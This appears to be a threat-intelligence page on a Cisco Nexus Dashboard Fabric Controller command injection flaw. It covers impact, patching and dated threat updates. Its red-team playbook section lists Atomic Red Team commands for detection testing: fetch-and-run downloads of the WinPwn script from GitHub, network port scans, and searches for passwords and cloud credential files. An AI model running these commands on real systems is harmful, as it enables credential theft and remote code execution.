CVE-2024-20432
Overview
This vulnerability is a command injection flaw resulting from improper user authorization and insufficient validation of command arguments within the REST API and web UI components of Cisco Nexus Dashboard Fabric Controller (NDFC). Specifically, the affected components fail to adequately sanitize input parameters submitted to certain REST API endpoints and web UI functions, allowing execution of arbitrary CLI commands on managed devices. The issue resides in the command processing logic of the NDFC management interface, excluding SAN controller deployment configurations.
Vulnerability Description
A vulnerability in the REST API and web UI of Cisco Nexus Dashboard Fabric Controller (NDFC) could allow an authenticated, low-privileged, remote attacker to perform a command injection attack against an affected device. This vulnerability is due to improper user authorization and insufficient validation of command arguments. An attacker could exploit this vulnerability by submitting crafted commands to an affected REST API endpoint or through the web UI. A successful exploit could allow the attacker to execute arbitrary commands on the CLI of a Cisco NDFC-managed device with network-admin privileges. Note: This vulnerability does not affect Cisco NDFC when it is configured for storage area network (SAN) controller deployment.
Impact
An authenticated attacker with low privileges on the Cisco NDFC management interface can execute arbitrary commands with network-admin privileges on managed devices, enabling full control over device configuration and operation. Exploitation requires network access and valid user credentials but no user interaction. This can lead to unauthorized device manipulation, data compromise, or network disruption. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) indicates network attack with low complexity, requiring low privileges and no user interaction, resulting in high confidentiality, integrity, and availability impact.
Solution
Cisco has released a security advisory (cisco-sa-ndfc-cmdinj-UvYZrKfr) detailing patches that address this command injection vulnerability in Cisco Nexus Dashboard Fabric Controller. Users should apply the updates as specified in the advisory to versions of NDFC not configured for SAN controller deployment. The advisory provides step-by-step patching instructions and recommends verifying deployment configurations to ensure affected components are updated accordingly.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Cisco Nexus Dashboard Fabric Controller (NDFC) arises from improper user authorization and insufficient validation of command arguments within its REST API and web UI. This flaw allows authenticated, low-privileged users to perform command injection attacks. Command injection vulnerabilities occur when an application passes unsafe user-supplied data to a system shell or command interpreter. In this case, the lack of stringent validation mechanisms enables attackers to submit crafted commands that the system may inadvertently execute with elevated privileges, potentially leading to unauthorized access and control over the device's command-line interface (CLI).
Exploitation of this vulnerability can occur through two primary attack vectors: the REST API endpoints and the web UI. An attacker with low-level access could craft malicious requests targeting these interfaces, leveraging the insufficient validation to inject arbitrary commands. For instance, an attacker might manipulate API calls to execute commands that alter device configurations, disrupt services, or extract sensitive information. The ability to execute commands with network-admin privileges significantly amplifies the risk, as it could lead to a complete compromise of the network environment managed by the NDFC.
The real-world impact of this vulnerability is substantial, particularly for organizations relying on Cisco's NDFC for network management. A successful exploitation could lead to severe business risks, including unauthorized network access, data breaches, and service disruptions. The potential for an attacker to manipulate network configurations could result in cascading failures across interconnected systems, leading to downtime and financial losses. Furthermore, the reputational damage from a security breach could erode customer trust and lead to regulatory scrutiny, especially in industries with stringent compliance requirements.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments and penetration testing can help identify potential weaknesses in the configuration and usage of the NDFC. Monitoring network traffic for unusual API calls or web UI interactions can also provide early warning signs of exploitation attempts. Additionally, organizations should enforce the principle of least privilege, ensuring that users have only the necessary access rights to perform their roles. Updating the NDFC to the latest version, where security patches are applied, is crucial in closing this vulnerability. Furthermore, implementing robust input validation and sanitization measures in custom applications interfacing with the NDFC can help mitigate the risk of command injection attacks.
In conclusion, the vulnerability within the Cisco Nexus Dashboard Fabric Controller presents a significant threat to organizations leveraging this technology for network management. The potential for command injection attacks highlights the importance of stringent user authorization and input validation. By adopting proactive detection and mitigation strategies, organizations can safeguard their network environments against such vulnerabilities, thereby minimizing the associated risks and ensuring the integrity of their operations.
The CVSS score for CVE-2024-20432 has been revised upward from 8.8 to 9.9, reflecting a reassessment of the vulnerability’s criticality based on its potential impact and exploitability. This adjustment underscores the heightened risk posed by the command injection flaw in Cisco Nexus Dashboard Fabric Controller, particularly given the ease with which an authenticated, low-privileged attacker can leverage insufficient input validation to execute arbitrary commands remotely. Although CSURFACE threat intelligence has not detected new exploit activity or proof-of-concept releases, the elevated severity score signals an increased urgency for defenders to prioritize this vulnerability. The EPSS metric remains stable and low in absolute terms, indicating limited exploitation in the wild at this time; however, the critical CVSS rating suggests that successful exploitation could lead to severe operational disruption or compromise of network management infrastructure. Consequently, the threat level associated with CVE-2024-20432 should be considered critical, warranting heightened vigilance and expedited risk management efforts within affected environments.
Update 2 — June 13, 2026
The recent revision of CVE-2024-20432’s CVSS score from 9.9 to 8.8 reflects a refined understanding of the vulnerability’s exploitability and impact. This adjustment, informed by ongoing analysis and corroborated by stable EPSS metrics, indicates that while the vulnerability remains highly critical, the likelihood of widespread exploitation is somewhat lower than initially assessed. Our telemetry continues to show no emergence of new exploit techniques or active campaigns targeting this flaw, reinforcing the notion that adversaries have yet to operationalize this vector at scale. For defenders, this nuanced downgrade underscores the importance of maintaining vigilance without overestimating immediate threat levels. The threat remains significant due to the potential for command injection in critical network management infrastructure, but the recalibrated score suggests a more measured prioritization relative to other active vulnerabilities. Consequently, the overall risk posture for CVE-2024-20432 is stable but warrants continued monitoring for any shifts in exploitation trends or attacker interest.
Update 3 — July 30, 2026
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2024-20432, with a significant increase in telemetry indicating more frequent attempts to exploit the command injection vulnerability in Cisco Nexus Dashboard Fabric Controller. Although the EPSS score remains largely stable, this surge in detection activity signals growing adversary interest and potential reconnaissance or low-scale probing efforts. The absence of new exploit details suggests that threat actors have not yet developed widely deployable tools, but the increased targeting attempts underscore the vulnerability’s attractiveness for lateral movement or privilege escalation within data center environments. For defenders, this evolving pattern highlights the need for heightened monitoring of REST API and web UI access logs, as well as vigilance for anomalous command execution attempts. While the overall risk rating remains high, the uptick in observed activity elevates the immediacy of the threat, warranting closer scrutiny to detect any transition from opportunistic probing to active exploitation campaigns.
Update 4 — August 17, 2026
CSURFACE threat intelligence has identified a discernible uptick in attempts targeting the CVE-2024-20432 vulnerability, reflected by a moderate increase in detection events across our telemetry. While no new exploit variants or publicly disclosed proof-of-concept codes have surfaced, the heightened probing activity suggests adversaries are intensifying reconnaissance efforts, potentially preparing for more sophisticated exploitation campaigns. This behavioral shift underscores the vulnerability’s continued appeal for threat actors seeking to leverage low-privileged access for command injection, particularly within data center environments where lateral movement and privilege escalation are critical objectives. Although the EPSS score remains stable and low relative to other vulnerabilities, the increase in observed targeting elevates the immediacy of risk, signaling a transition from opportunistic scanning toward more deliberate exploitation attempts. For defenders, this evolving pattern necessitates increased vigilance in monitoring REST API and web UI interactions, as early detection of anomalous command submissions could be pivotal in preempting successful intrusions. Overall, the threat level for CVE-2024-20432 should be considered heightened due to this surge in reconnaissance activity, even in the absence of new exploit tools.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Nexus Dashboard Fabric Controller | All |
cpe:2.3:a:cisco:nexus_dashboard_fabric_controller:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
8 eventsSighting activity recorded
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Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-20432 |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ndfc-cmdinj-UvYZrKfr |